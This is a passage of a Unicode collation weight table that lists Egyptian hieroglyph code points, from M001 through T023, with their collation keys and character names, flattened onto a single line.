EGYPTIAN HIEROGLYPH M001 +131AE ; [.4E2A.0020.0002] # EGYPTIAN HIEROGLYPH M001A +131AF ; [.4E2B.0020.0002] # EGYPTIAN HIEROGLYPH M001B +131B0 ; [.4E2C.0020.0002] # EGYPTIAN HIEROGLYPH M002 +131B1 ; [.4E2D.0020.0002] # EGYPTIAN HIEROGLYPH M003 +131B2 ; [.4E2E.0020.0002] # EGYPTIAN HIEROGLYPH M003A +131B3 ; [.4E2F.0020.0002] # EGYPTIAN HIEROGLYPH M004 +131B4 ; [.4E30.0020.0002] # EGYPTIAN HIEROGLYPH M005 +131B5 ; [.4E31.0020.0002] # EGYPTIAN HIEROGLYPH M006 +131B6 ; [.4E32.0020.0002] # EGYPTIAN HIEROGLYPH M007 +131B7 ; [.4E33.0020.0002] # EGYPTIAN HIEROGLYPH M008 +131B8 ; [.4E34.0020.0002] # EGYPTIAN HIEROGLYPH M009 +131B9 ; [.4E35.0020.0002] # EGYPTIAN HIEROGLYPH M010 +131BA ; [.4E36.0020.0002] # EGYPTIAN HIEROGLYPH M010A +131BB ; [.4E37.0020.0002] # EGYPTIAN HIEROGLYPH M011 +131BC ; [.4E38.0020.0002] # EGYPTIAN HIEROGLYPH M012 +131BD ; [.4E39.0020.0002] # EGYPTIAN HIEROGLYPH M012A +131BE ; [.4E3A.0020.0002] # EGYPTIAN HIEROGLYPH M012B +131BF ; [.4E3B.0020.0002] # EGYPTIAN HIEROGLYPH M012C +131C0 ; [.4E3C.0020.0002] # EGYPTIAN HIEROGLYPH M012D +131C1 ; [.4E3D.0020.0002] # EGYPTIAN HIEROGLYPH M012E +131C2 ; [.4E3E.0020.0002] # EGYPTIAN HIEROGLYPH M012F +131C3 ; [.4E3F.0020.0002] # EGYPTIAN HIEROGLYPH M012G +131C4 ; [.4E40.0020.0002] # EGYPTIAN HIEROGLYPH M012H +131C5 ; [.4E41.0020.0002] # EGYPTIAN HIEROGLYPH M013 +131C6 ; [.4E42.0020.0002] # EGYPTIAN HIEROGLYPH M014 +131C7 ; [.4E43.0020.0002] # EGYPTIAN HIEROGLYPH M015 +131C8 ; [.4E44.0020.0002] # EGYPTIAN HIEROGLYPH M015A +131C9 ; [.4E45.0020.0002] # EGYPTIAN HIEROGLYPH M016 +131CA ; [.4E46.0020.0002] # EGYPTIAN HIEROGLYPH M016A +131CB ; [.4E47.0020.0002] # EGYPTIAN HIEROGLYPH M017 +131CC ; [.4E48.0020.0002] # EGYPTIAN HIEROGLYPH M017A +131CD ; [.4E49.0020.0002] # EGYPTIAN HIEROGLYPH M018 +131CE ; [.4E4A.0020.0002] # EGYPTIAN HIEROGLYPH M019 +131CF ; [.4E4B.0020.0002] # EGYPTIAN HIEROGLYPH M020 +131D0 ; [.4E4C.0020.0002] # EGYPTIAN HIEROGLYPH M021 +131D1 ; [.4E4D.0020.0002] # EGYPTIAN HIEROGLYPH M022 +131D2 ; [.4E4E.0020.0002] # EGYPTIAN HIEROGLYPH M022A +131D3 ; [.4E4F.0020.0002] # EGYPTIAN HIEROGLYPH M023 +131D4 ; [.4E50.0020.0002] # EGYPTIAN HIEROGLYPH M024 +131D5 ; [.4E51.0020.0002] # EGYPTIAN HIEROGLYPH M024A +131D6 ; [.4E52.0020.0002] # EGYPTIAN HIEROGLYPH M025 +131D7 ; [.4E53.0020.0002] # EGYPTIAN HIEROGLYPH M026 +131D8 ; [.4E54.0020.0002] # EGYPTIAN HIEROGLYPH M027 +131D9 ; [.4E55.0020.0002] # EGYPTIAN HIEROGLYPH M028 +131DA ; [.4E56.0020.0002] # EGYPTIAN HIEROGLYPH M028A +131DB ; [.4E57.0020.0002] # EGYPTIAN HIEROGLYPH M029 +131DC ; [.4E58.0020.0002] # EGYPTIAN HIEROGLYPH M030 +131DD ; [.4E59.0020.0002] # EGYPTIAN HIEROGLYPH M031 +131DE ; [.4E5A.0020.0002] # EGYPTIAN HIEROGLYPH M031A +131DF ; [.4E5B.0020.0002] # EGYPTIAN HIEROGLYPH M032 +131E0 ; [.4E5C.0020.0002] # EGYPTIAN HIEROGLYPH M033 +131E1 ; [.4E5D.0020.0002] # EGYPTIAN HIEROGLYPH M033A +131E2 ; [.4E5E.0020.0002] # EGYPTIAN HIEROGLYPH M033B +131E3 ; [.4E5F.0020.0002] # EGYPTIAN HIEROGLYPH M034 +131E4 ; [.4E60.0020.0002] # EGYPTIAN HIEROGLYPH M035 +131E5 ; [.4E61.0020.0002] # EGYPTIAN HIEROGLYPH M036 +131E6 ; [.4E62.0020.0002] # EGYPTIAN HIEROGLYPH M037 +131E7 ; [.4E63.0020.0002] # EGYPTIAN HIEROGLYPH M038 +131E8 ; [.4E64.0020.0002] # EGYPTIAN HIEROGLYPH M039 +131E9 ; [.4E65.0020.0002] # EGYPTIAN HIEROGLYPH M040 +131EA ; [.4E66.0020.0002] # EGYPTIAN HIEROGLYPH M040A +131EB ; [.4E67.0020.0002] # EGYPTIAN HIEROGLYPH M041 +131EC ; [.4E68.0020.0002] # EGYPTIAN HIEROGLYPH M042 +131ED ; [.4E69.0020.0002] # EGYPTIAN HIEROGLYPH M043 +131EE ; [.4E6A.0020.0002] # EGYPTIAN HIEROGLYPH M044 +131EF ; [.4E6B.0020.0002] # EGYPTIAN HIEROGLYPH N001 +131F0 ; [.4E6C.0020.0002] # EGYPTIAN HIEROGLYPH N002 +131F1 ; [.4E6D.0020.0002] # EGYPTIAN HIEROGLYPH N003 +131F2 ; [.4E6E.0020.0002] # EGYPTIAN HIEROGLYPH N004 +131F3 ; [.4E6F.0020.0002] # EGYPTIAN HIEROGLYPH N005 +131F4 ; [.4E70.0020.0002] # EGYPTIAN HIEROGLYPH N006 +131F5 ; [.4E71.0020.0002] # EGYPTIAN HIEROGLYPH N007 +131F6 ; [.4E72.0020.0002] # EGYPTIAN HIEROGLYPH N008 +131F7 ; [.4E73.0020.0002] # EGYPTIAN HIEROGLYPH N009 +131F8 ; [.4E74.0020.0002] # EGYPTIAN HIEROGLYPH N010 +131F9 ; [.4E75.0020.0002] # EGYPTIAN HIEROGLYPH N011 +131FA ; [.4E76.0020.0002] # EGYPTIAN HIEROGLYPH N012 +131FB ; [.4E77.0020.0002] # EGYPTIAN HIEROGLYPH N013 +131FC ; [.4E78.0020.0002] # EGYPTIAN HIEROGLYPH N014 +131FD ; [.4E79.0020.0002] # EGYPTIAN HIEROGLYPH N015 +131FE ; [.4E7A.0020.0002] # EGYPTIAN HIEROGLYPH N016 +131FF ; [.4E7B.0020.0002] # EGYPTIAN HIEROGLYPH N017 +13200 ; [.4E7C.0020.0002] # EGYPTIAN HIEROGLYPH N018 +13201 ; [.4E7D.0020.0002] # EGYPTIAN HIEROGLYPH N018A +13202 ; [.4E7E.0020.0002] # EGYPTIAN HIEROGLYPH N018B +13203 ; [.4E7F.0020.0002] # EGYPTIAN HIEROGLYPH N019 +13204 ; [.4E80.0020.0002] # EGYPTIAN HIEROGLYPH N020 +13205 ; [.4E81.0020.0002] # EGYPTIAN HIEROGLYPH N021 +13206 ; [.4E82.0020.0002] # EGYPTIAN HIEROGLYPH N022 +13207 ; [.4E83.0020.0002] # EGYPTIAN HIEROGLYPH N023 +13208 ; [.4E84.0020.0002] # EGYPTIAN HIEROGLYPH N024 +13209 ; [.4E85.0020.0002] # EGYPTIAN HIEROGLYPH N025 +1320A ; [.4E86.0020.0002] # EGYPTIAN HIEROGLYPH N025A +1320B ; [.4E87.0020.0002] # EGYPTIAN HIEROGLYPH N026 +1320C ; [.4E88.0020.0002] # EGYPTIAN HIEROGLYPH N027 +1320D ; [.4E89.0020.0002] # EGYPTIAN HIEROGLYPH N028 +1320E ; [.4E8A.0020.0002] # EGYPTIAN HIEROGLYPH N029 +1320F ; [.4E8B.0020.0002] # EGYPTIAN HIEROGLYPH N030 +13210 ; [.4E8C.0020.0002] # EGYPTIAN HIEROGLYPH N031 +13211 ; [.4E8D.0020.0002] # EGYPTIAN HIEROGLYPH N032 +13212 ; [.4E8E.0020.0002] # EGYPTIAN HIEROGLYPH N033 +13213 ; [.4E8F.0020.0002] # EGYPTIAN HIEROGLYPH N033A +13214 ; [.4E90.0020.0002] # EGYPTIAN HIEROGLYPH N034 +13215 ; [.4E91.0020.0002] # EGYPTIAN HIEROGLYPH N034A +13216 ; [.4E92.0020.0002] # EGYPTIAN HIEROGLYPH N035 +13217 ; [.4E93.0020.0002] # EGYPTIAN HIEROGLYPH N035A +13218 ; [.4E94.0020.0002] # EGYPTIAN HIEROGLYPH N036 +13219 ; [.4E95.0020.0002] # EGYPTIAN HIEROGLYPH N037 +1321A ; [.4E96.0020.0002] # EGYPTIAN HIEROGLYPH N037A +1321B ; [.4E97.0020.0002] # EGYPTIAN HIEROGLYPH N038 +1321C ; [.4E98.0020.0002] # EGYPTIAN HIEROGLYPH N039 +1321D ; [.4E99.0020.0002] # EGYPTIAN HIEROGLYPH N040 +1321E ; [.4E9A.0020.0002] # EGYPTIAN HIEROGLYPH N041 +1321F ; [.4E9B.0020.0002] # EGYPTIAN HIEROGLYPH N042 +13220 ; [.4E9C.0020.0002] # EGYPTIAN HIEROGLYPH NL001 +13221 ; [.4E9D.0020.0002] # EGYPTIAN HIEROGLYPH NL002 +13222 ; [.4E9E.0020.0002] # EGYPTIAN HIEROGLYPH NL003 +13223 ; [.4E9F.0020.0002] # EGYPTIAN HIEROGLYPH NL004 +13224 ; [.4EA0.0020.0002] # EGYPTIAN HIEROGLYPH NL005 +13225 ; [.4EA1.0020.0002] # EGYPTIAN HIEROGLYPH NL005A +13226 ; [.4EA2.0020.0002] # EGYPTIAN HIEROGLYPH NL006 +13227 ; [.4EA3.0020.0002] # EGYPTIAN HIEROGLYPH NL007 +13228 ; [.4EA4.0020.0002] # EGYPTIAN HIEROGLYPH NL008 +13229 ; [.4EA5.0020.0002] # EGYPTIAN HIEROGLYPH NL009 +1322A ; [.4EA6.0020.0002] # EGYPTIAN HIEROGLYPH NL010 +1322B ; [.4EA7.0020.0002] # EGYPTIAN HIEROGLYPH NL011 +1322C ; [.4EA8.0020.0002] # EGYPTIAN HIEROGLYPH NL012 +1322D ; [.4EA9.0020.0002] # EGYPTIAN HIEROGLYPH NL013 +1322E ; [.4EAA.0020.0002] # EGYPTIAN HIEROGLYPH NL014 +1322F ; [.4EAB.0020.0002] # EGYPTIAN HIEROGLYPH NL015 +13230 ; [.4EAC.0020.0002] # EGYPTIAN HIEROGLYPH NL016 +13231 ; [.4EAD.0020.0002] # EGYPTIAN HIEROGLYPH NL017 +13232 ; [.4EAE.0020.0002] # EGYPTIAN HIEROGLYPH NL017A +13233 ; [.4EAF.0020.0002] # EGYPTIAN HIEROGLYPH NL018 +13234 ; [.4EB0.0020.0002] # EGYPTIAN HIEROGLYPH NL019 +13235 ; [.4EB1.0020.0002] # EGYPTIAN HIEROGLYPH NL020 +13236 ; [.4EB2.0020.0002] # EGYPTIAN HIEROGLYPH NU001 +13237 ; [.4EB3.0020.0002] # EGYPTIAN HIEROGLYPH NU002 +13238 ; [.4EB4.0020.0002] # EGYPTIAN HIEROGLYPH NU003 +13239 ; [.4EB5.0020.0002] # EGYPTIAN HIEROGLYPH NU004 +1323A ; [.4EB6.0020.0002] # EGYPTIAN HIEROGLYPH NU005 +1323B ; [.4EB7.0020.0002] # EGYPTIAN HIEROGLYPH NU006 +1323C ; [.4EB8.0020.0002] # EGYPTIAN HIEROGLYPH NU007 +1323D ; [.4EB9.0020.0002] # EGYPTIAN HIEROGLYPH NU008 +1323E ; [.4EBA.0020.0002] # EGYPTIAN HIEROGLYPH NU009 +1323F ; [.4EBB.0020.0002] # EGYPTIAN HIEROGLYPH NU010 +13240 ; [.4EBC.0020.0002] # EGYPTIAN HIEROGLYPH NU010A +13241 ; [.4EBD.0020.0002] # EGYPTIAN HIEROGLYPH NU011 +13242 ; [.4EBE.0020.0002] # EGYPTIAN HIEROGLYPH NU011A +13243 ; [.4EBF.0020.0002] # EGYPTIAN HIEROGLYPH NU012 +13244 ; [.4EC0.0020.0002] # EGYPTIAN HIEROGLYPH NU013 +13245 ; [.4EC1.0020.0002] # EGYPTIAN HIEROGLYPH NU014 +13246 ; [.4EC2.0020.0002] # EGYPTIAN HIEROGLYPH NU015 +13247 ; [.4EC3.0020.0002] # EGYPTIAN HIEROGLYPH NU016 +13248 ; [.4EC4.0020.0002] # EGYPTIAN HIEROGLYPH NU017 +13249 ; [.4EC5.0020.0002] # EGYPTIAN HIEROGLYPH NU018 +1324A ; [.4EC6.0020.0002] # EGYPTIAN HIEROGLYPH NU018A +1324B ; [.4EC7.0020.0002] # EGYPTIAN HIEROGLYPH NU019 +1324C ; [.4EC8.0020.0002] # EGYPTIAN HIEROGLYPH NU020 +1324D ; [.4EC9.0020.0002] # EGYPTIAN HIEROGLYPH NU021 +1324E ; [.4ECA.0020.0002] # EGYPTIAN HIEROGLYPH NU022 +1324F ; [.4ECB.0020.0002] # EGYPTIAN HIEROGLYPH NU022A +13250 ; [.4ECC.0020.0002] # EGYPTIAN HIEROGLYPH O001 +13251 ; [.4ECD.0020.0002] # EGYPTIAN HIEROGLYPH O001A +13252 ; [.4ECE.0020.0002] # EGYPTIAN HIEROGLYPH O002 +13253 ; [.4ECF.0020.0002] # EGYPTIAN HIEROGLYPH O003 +13254 ; [.4ED0.0020.0002] # EGYPTIAN HIEROGLYPH O004 +13255 ; [.4ED1.0020.0002] # EGYPTIAN HIEROGLYPH O005 +13256 ; [.4ED2.0020.0002] # EGYPTIAN HIEROGLYPH O005A +13257 ; [.4ED3.0020.0002] # EGYPTIAN HIEROGLYPH O006 +13258 ; [.4ED4.0020.0002] # EGYPTIAN HIEROGLYPH O006A +13259 ; [.4ED5.0020.0002] # EGYPTIAN HIEROGLYPH O006B +1325A ; [.4ED6.0020.0002] # EGYPTIAN HIEROGLYPH O006C +1325B ; [.4ED7.0020.0002] # EGYPTIAN HIEROGLYPH O006D +1325C ; [.4ED8.0020.0002] # EGYPTIAN HIEROGLYPH O006E +1325D ; [.4ED9.0020.0002] # EGYPTIAN HIEROGLYPH O006F +1325E ; [.4EDA.0020.0002] # EGYPTIAN HIEROGLYPH O007 +1325F ; [.4EDB.0020.0002] # EGYPTIAN HIEROGLYPH O008 +13260 ; [.4EDC.0020.0002] # EGYPTIAN HIEROGLYPH O009 +13261 ; [.4EDD.0020.0002] # EGYPTIAN HIEROGLYPH O010 +13262 ; [.4EDE.0020.0002] # EGYPTIAN HIEROGLYPH O010A +13263 ; [.4EDF.0020.0002] # EGYPTIAN HIEROGLYPH O010B +13264 ; [.4EE0.0020.0002] # EGYPTIAN HIEROGLYPH O010C +13265 ; [.4EE1.0020.0002] # EGYPTIAN HIEROGLYPH O011 +13266 ; [.4EE2.0020.0002] # EGYPTIAN HIEROGLYPH O012 +13267 ; [.4EE3.0020.0002] # EGYPTIAN HIEROGLYPH O013 +13268 ; [.4EE4.0020.0002] # EGYPTIAN HIEROGLYPH O014 +13269 ; [.4EE5.0020.0002] # EGYPTIAN HIEROGLYPH O015 +1326A ; [.4EE6.0020.0002] # EGYPTIAN HIEROGLYPH O016 +1326B ; [.4EE7.0020.0002] # EGYPTIAN HIEROGLYPH O017 +1326C ; [.4EE8.0020.0002] # EGYPTIAN HIEROGLYPH O018 +1326D ; [.4EE9.0020.0002] # EGYPTIAN HIEROGLYPH O019 +1326E ; [.4EEA.0020.0002] # EGYPTIAN HIEROGLYPH O019A +1326F ; [.4EEB.0020.0002] # EGYPTIAN HIEROGLYPH O020 +13270 ; [.4EEC.0020.0002] # EGYPTIAN HIEROGLYPH O020A +13271 ; [.4EED.0020.0002] # EGYPTIAN HIEROGLYPH O021 +13272 ; [.4EEE.0020.0002] # EGYPTIAN HIEROGLYPH O022 +13273 ; [.4EEF.0020.0002] # EGYPTIAN HIEROGLYPH O023 +13274 ; [.4EF0.0020.0002] # EGYPTIAN HIEROGLYPH O024 +13275 ; [.4EF1.0020.0002] # EGYPTIAN HIEROGLYPH O024A +13276 ; [.4EF2.0020.0002] # EGYPTIAN HIEROGLYPH O025 +13277 ; [.4EF3.0020.0002] # EGYPTIAN HIEROGLYPH O025A +13278 ; [.4EF4.0020.0002] # EGYPTIAN HIEROGLYPH O026 +13279 ; [.4EF5.0020.0002] # EGYPTIAN HIEROGLYPH O027 +1327A ; [.4EF6.0020.0002] # EGYPTIAN HIEROGLYPH O028 +1327B ; [.4EF7.0020.0002] # EGYPTIAN HIEROGLYPH O029 +1327C ; [.4EF8.0020.0002] # EGYPTIAN HIEROGLYPH O029A +1327D ; [.4EF9.0020.0002] # EGYPTIAN HIEROGLYPH O030 +1327E ; [.4EFA.0020.0002] # EGYPTIAN HIEROGLYPH O030A +1327F ; [.4EFB.0020.0002] # EGYPTIAN HIEROGLYPH O031 +13280 ; [.4EFC.0020.0002] # EGYPTIAN HIEROGLYPH O032 +13281 ; [.4EFD.0020.0002] # EGYPTIAN HIEROGLYPH O033 +13282 ; [.4EFE.0020.0002] # EGYPTIAN HIEROGLYPH O033A +13283 ; [.4EFF.0020.0002] # EGYPTIAN HIEROGLYPH O034 +13284 ; [.4F00.0020.0002] # EGYPTIAN HIEROGLYPH O035 +13285 ; [.4F01.0020.0002] # EGYPTIAN HIEROGLYPH O036 +13286 ; [.4F02.0020.0002] # EGYPTIAN HIEROGLYPH O036A +13287 ; [.4F03.0020.0002] # EGYPTIAN HIEROGLYPH O036B +13288 ; [.4F04.0020.0002] # EGYPTIAN HIEROGLYPH O036C +13289 ; [.4F05.0020.0002] # EGYPTIAN HIEROGLYPH O036D +1328A ; [.4F06.0020.0002] # EGYPTIAN HIEROGLYPH O037 +1328B ; [.4F07.0020.0002] # EGYPTIAN HIEROGLYPH O038 +1328C ; [.4F08.0020.0002] # EGYPTIAN HIEROGLYPH O039 +1328D ; [.4F09.0020.0002] # EGYPTIAN HIEROGLYPH O040 +1328E ; [.4F0A.0020.0002] # EGYPTIAN HIEROGLYPH O041 +1328F ; [.4F0B.0020.0002] # EGYPTIAN HIEROGLYPH O042 +13290 ; [.4F0C.0020.0002] # EGYPTIAN HIEROGLYPH O043 +13291 ; [.4F0D.0020.0002] # EGYPTIAN HIEROGLYPH O044 +13292 ; [.4F0E.0020.0002] # EGYPTIAN HIEROGLYPH O045 +13293 ; [.4F0F.0020.0002] # EGYPTIAN HIEROGLYPH O046 +13294 ; [.4F10.0020.0002] # EGYPTIAN HIEROGLYPH O047 +13295 ; [.4F11.0020.0002] # EGYPTIAN HIEROGLYPH O048 +13296 ; [.4F12.0020.0002] # EGYPTIAN HIEROGLYPH O049 +13297 ; [.4F13.0020.0002] # EGYPTIAN HIEROGLYPH O050 +13298 ; [.4F14.0020.0002] # EGYPTIAN HIEROGLYPH O050A +13299 ; [.4F15.0020.0002] # EGYPTIAN HIEROGLYPH O050B +1329A ; [.4F16.0020.0002] # EGYPTIAN HIEROGLYPH O051 +1329B ; [.4F17.0020.0002] # EGYPTIAN HIEROGLYPH P001 +1329C ; [.4F18.0020.0002] # EGYPTIAN HIEROGLYPH P001A +1329D ; [.4F19.0020.0002] # EGYPTIAN HIEROGLYPH P002 +1329E ; [.4F1A.0020.0002] # EGYPTIAN HIEROGLYPH P003 +1329F ; [.4F1B.0020.0002] # EGYPTIAN HIEROGLYPH P003A +132A0 ; [.4F1C.0020.0002] # EGYPTIAN HIEROGLYPH P004 +132A1 ; [.4F1D.0020.0002] # EGYPTIAN HIEROGLYPH P005 +132A2 ; [.4F1E.0020.0002] # EGYPTIAN HIEROGLYPH P006 +132A3 ; [.4F1F.0020.0002] # EGYPTIAN HIEROGLYPH P007 +132A4 ; [.4F20.0020.0002] # EGYPTIAN HIEROGLYPH P008 +132A5 ; [.4F21.0020.0002] # EGYPTIAN HIEROGLYPH P009 +132A6 ; [.4F22.0020.0002] # EGYPTIAN HIEROGLYPH P010 +132A7 ; [.4F23.0020.0002] # EGYPTIAN HIEROGLYPH P011 +132A8 ; [.4F24.0020.0002] # EGYPTIAN HIEROGLYPH Q001 +132A9 ; [.4F25.0020.0002] # EGYPTIAN HIEROGLYPH Q002 +132AA ; [.4F26.0020.0002] # EGYPTIAN HIEROGLYPH Q003 +132AB ; [.4F27.0020.0002] # EGYPTIAN HIEROGLYPH Q004 +132AC ; [.4F28.0020.0002] # EGYPTIAN HIEROGLYPH Q005 +132AD ; [.4F29.0020.0002] # EGYPTIAN HIEROGLYPH Q006 +132AE ; [.4F2A.0020.0002] # EGYPTIAN HIEROGLYPH Q007 +132AF ; [.4F2B.0020.0002] # EGYPTIAN HIEROGLYPH R001 +132B0 ; [.4F2C.0020.0002] # EGYPTIAN HIEROGLYPH R002 +132B1 ; [.4F2D.0020.0002] # EGYPTIAN HIEROGLYPH R002A +132B2 ; [.4F2E.0020.0002] # EGYPTIAN HIEROGLYPH R003 +132B3 ; [.4F2F.0020.0002] # EGYPTIAN HIEROGLYPH R003A +132B4 ; [.4F30.0020.0002] # EGYPTIAN HIEROGLYPH R003B +132B5 ; [.4F31.0020.0002] # EGYPTIAN HIEROGLYPH R004 +132B6 ; [.4F32.0020.0002] # EGYPTIAN HIEROGLYPH R005 +132B7 ; [.4F33.0020.0002] # EGYPTIAN HIEROGLYPH R006 +132B8 ; [.4F34.0020.0002] # EGYPTIAN HIEROGLYPH R007 +132B9 ; [.4F35.0020.0002] # EGYPTIAN HIEROGLYPH R008 +132BA ; [.4F36.0020.0002] # EGYPTIAN HIEROGLYPH R009 +132BB ; [.4F37.0020.0002] # EGYPTIAN HIEROGLYPH R010 +132BC ; [.4F38.0020.0002] # EGYPTIAN HIEROGLYPH R010A +132BD ; [.4F39.0020.0002] # EGYPTIAN HIEROGLYPH R011 +132BE ; [.4F3A.0020.0002] # EGYPTIAN HIEROGLYPH R012 +132BF ; [.4F3B.0020.0002] # EGYPTIAN HIEROGLYPH R013 +132C0 ; [.4F3C.0020.0002] # EGYPTIAN HIEROGLYPH R014 +132C1 ; [.4F3D.0020.0002] # EGYPTIAN HIEROGLYPH R015 +132C2 ; [.4F3E.0020.0002] # EGYPTIAN HIEROGLYPH R016 +132C3 ; [.4F3F.0020.0002] # EGYPTIAN HIEROGLYPH R016A +132C4 ; [.4F40.0020.0002] # EGYPTIAN HIEROGLYPH R017 +132C5 ; [.4F41.0020.0002] # EGYPTIAN HIEROGLYPH R018 +132C6 ; [.4F42.0020.0002] # EGYPTIAN HIEROGLYPH R019 +132C7 ; [.4F43.0020.0002] # EGYPTIAN HIEROGLYPH R020 +132C8 ; [.4F44.0020.0002] # EGYPTIAN HIEROGLYPH R021 +132C9 ; [.4F45.0020.0002] # EGYPTIAN HIEROGLYPH R022 +132CA ; [.4F46.0020.0002] # EGYPTIAN HIEROGLYPH R023 +132CB ; [.4F47.0020.0002] # EGYPTIAN HIEROGLYPH R024 +132CC ; [.4F48.0020.0002] # EGYPTIAN HIEROGLYPH R025 +132CD ; [.4F49.0020.0002] # EGYPTIAN HIEROGLYPH R026 +132CE ; [.4F4A.0020.0002] # EGYPTIAN HIEROGLYPH R027 +132CF ; [.4F4B.0020.0002] # EGYPTIAN HIEROGLYPH R028 +132D0 ; [.4F4C.0020.0002] # EGYPTIAN HIEROGLYPH R029 +132D1 ; [.4F4D.0020.0002] # EGYPTIAN HIEROGLYPH S001 +132D2 ; [.4F4E.0020.0002] # EGYPTIAN HIEROGLYPH S002 +132D3 ; [.4F4F.0020.0002] # EGYPTIAN HIEROGLYPH S002A +132D4 ; [.4F50.0020.0002] # EGYPTIAN HIEROGLYPH S003 +132D5 ; [.4F51.0020.0002] # EGYPTIAN HIEROGLYPH S004 +132D6 ; [.4F52.0020.0002] # EGYPTIAN HIEROGLYPH S005 +132D7 ; [.4F53.0020.0002] # EGYPTIAN HIEROGLYPH S006 +132D8 ; [.4F54.0020.0002] # EGYPTIAN HIEROGLYPH S006A +132D9 ; [.4F55.0020.0002] # EGYPTIAN HIEROGLYPH S007 +132DA ; [.4F56.0020.0002] # EGYPTIAN HIEROGLYPH S008 +132DB ; [.4F57.0020.0002] # EGYPTIAN HIEROGLYPH S009 +132DC ; [.4F58.0020.0002] # EGYPTIAN HIEROGLYPH S010 +132DD ; [.4F59.0020.0002] # EGYPTIAN HIEROGLYPH S011 +132DE ; [.4F5A.0020.0002] # EGYPTIAN HIEROGLYPH S012 +132DF ; [.4F5B.0020.0002] # EGYPTIAN HIEROGLYPH S013 +132E0 ; [.4F5C.0020.0002] # EGYPTIAN HIEROGLYPH S014 +132E1 ; [.4F5D.0020.0002] # EGYPTIAN HIEROGLYPH S014A +132E2 ; [.4F5E.0020.0002] # EGYPTIAN HIEROGLYPH S014B +132E3 ; [.4F5F.0020.0002] # EGYPTIAN HIEROGLYPH S015 +132E4 ; [.4F60.0020.0002] # EGYPTIAN HIEROGLYPH S016 +132E5 ; [.4F61.0020.0002] # EGYPTIAN HIEROGLYPH S017 +132E6 ; [.4F62.0020.0002] # EGYPTIAN HIEROGLYPH S017A +132E7 ; [.4F63.0020.0002] # EGYPTIAN HIEROGLYPH S018 +132E8 ; [.4F64.0020.0002] # EGYPTIAN HIEROGLYPH S019 +132E9 ; [.4F65.0020.0002] # EGYPTIAN HIEROGLYPH S020 +132EA ; [.4F66.0020.0002] # EGYPTIAN HIEROGLYPH S021 +132EB ; [.4F67.0020.0002] # EGYPTIAN HIEROGLYPH S022 +132EC ; [.4F68.0020.0002] # EGYPTIAN HIEROGLYPH S023 +132ED ; [.4F69.0020.0002] # EGYPTIAN HIEROGLYPH S024 +132EE ; [.4F6A.0020.0002] # EGYPTIAN HIEROGLYPH S025 +132EF ; [.4F6B.0020.0002] # EGYPTIAN HIEROGLYPH S026 +132F0 ; [.4F6C.0020.0002] # EGYPTIAN HIEROGLYPH S026A +132F1 ; [.4F6D.0020.0002] # EGYPTIAN HIEROGLYPH S026B +132F2 ; [.4F6E.0020.0002] # EGYPTIAN HIEROGLYPH S027 +132F3 ; [.4F6F.0020.0002] # EGYPTIAN HIEROGLYPH S028 +132F4 ; [.4F70.0020.0002] # EGYPTIAN HIEROGLYPH S029 +132F5 ; [.4F71.0020.0002] # EGYPTIAN HIEROGLYPH S030 +132F6 ; [.4F72.0020.0002] # EGYPTIAN HIEROGLYPH S031 +132F7 ; [.4F73.0020.0002] # EGYPTIAN HIEROGLYPH S032 +132F8 ; [.4F74.0020.0002] # EGYPTIAN HIEROGLYPH S033 +132F9 ; [.4F75.0020.0002] # EGYPTIAN HIEROGLYPH S034 +132FA ; [.4F76.0020.0002] # EGYPTIAN HIEROGLYPH S035 +132FB ; [.4F77.0020.0002] # EGYPTIAN HIEROGLYPH S035A +132FC ; [.4F78.0020.0002] # EGYPTIAN HIEROGLYPH S036 +132FD ; [.4F79.0020.0002] # EGYPTIAN HIEROGLYPH S037 +132FE ; [.4F7A.0020.0002] # EGYPTIAN HIEROGLYPH S038 +132FF ; [.4F7B.0020.0002] # EGYPTIAN HIEROGLYPH S039 +13300 ; [.4F7C.0020.0002] # EGYPTIAN HIEROGLYPH S040 +13301 ; [.4F7D.0020.0002] # EGYPTIAN HIEROGLYPH S041 +13302 ; [.4F7E.0020.0002] # EGYPTIAN HIEROGLYPH S042 +13303 ; [.4F7F.0020.0002] # EGYPTIAN HIEROGLYPH S043 +13304 ; [.4F80.0020.0002] # EGYPTIAN HIEROGLYPH S044 +13305 ; [.4F81.0020.0002] # EGYPTIAN HIEROGLYPH S045 +13306 ; [.4F82.0020.0002] # EGYPTIAN HIEROGLYPH S046 +13307 ; [.4F83.0020.0002] # EGYPTIAN HIEROGLYPH T001 +13308 ; [.4F84.0020.0002] # EGYPTIAN HIEROGLYPH T002 +13309 ; [.4F85.0020.0002] # EGYPTIAN HIEROGLYPH T003 +1330A ; [.4F86.0020.0002] # EGYPTIAN HIEROGLYPH T003A +1330B ; [.4F87.0020.0002] # EGYPTIAN HIEROGLYPH T004 +1330C ; [.4F88.0020.0002] # EGYPTIAN HIEROGLYPH T005 +1330D ; [.4F89.0020.0002] # EGYPTIAN HIEROGLYPH T006 +1330E ; [.4F8A.0020.0002] # EGYPTIAN HIEROGLYPH T007 +1330F ; [.4F8B.0020.0002] # EGYPTIAN HIEROGLYPH T007A +13310 ; [.4F8C.0020.0002] # EGYPTIAN HIEROGLYPH T008 +13311 ; [.4F8D.0020.0002] # EGYPTIAN HIEROGLYPH T008A +13312 ; [.4F8E.0020.0002] # EGYPTIAN HIEROGLYPH T009 +13313 ; [.4F8F.0020.0002] # EGYPTIAN HIEROGLYPH T009A +13314 ; [.4F90.0020.0002] # EGYPTIAN HIEROGLYPH T010 +13315 ; [.4F91.0020.0002] # EGYPTIAN HIEROGLYPH T011 +13316 ; [.4F92.0020.0002] # EGYPTIAN HIEROGLYPH T011A +13317 ; [.4F93.0020.0002] # EGYPTIAN HIEROGLYPH T012 +13318 ; [.4F94.0020.0002] # EGYPTIAN HIEROGLYPH T013 +13319 ; [.4F95.0020.0002] # EGYPTIAN HIEROGLYPH T014 +1331A ; [.4F96.0020.0002] # EGYPTIAN HIEROGLYPH T015 +1331B ; [.4F97.0020.0002] # EGYPTIAN HIEROGLYPH T016 +1331C ; [.4F98.0020.0002] # EGYPTIAN HIEROGLYPH T016A +1331D ; [.4F99.0020.0002] # EGYPTIAN HIEROGLYPH T017 +1331E ; [.4F9A.0020.0002] # EGYPTIAN HIEROGLYPH T018 +1331F ; [.4F9B.0020.0002] # EGYPTIAN HIEROGLYPH T019 +13320 ; [.4F9C.0020.0002] # EGYPTIAN HIEROGLYPH T020 +13321 ; [.4F9D.0020.0002] # EGYPTIAN HIEROGLYPH T021 +13322 ; [.4F9E.0020.0002] # EGYPTIAN HIEROGLYPH T022 +13323 ; [.4F9F.0020.0002] # EGYPTIAN HIEROGLYPH T023 +13324 ; [.4FA0.0020.0002] # 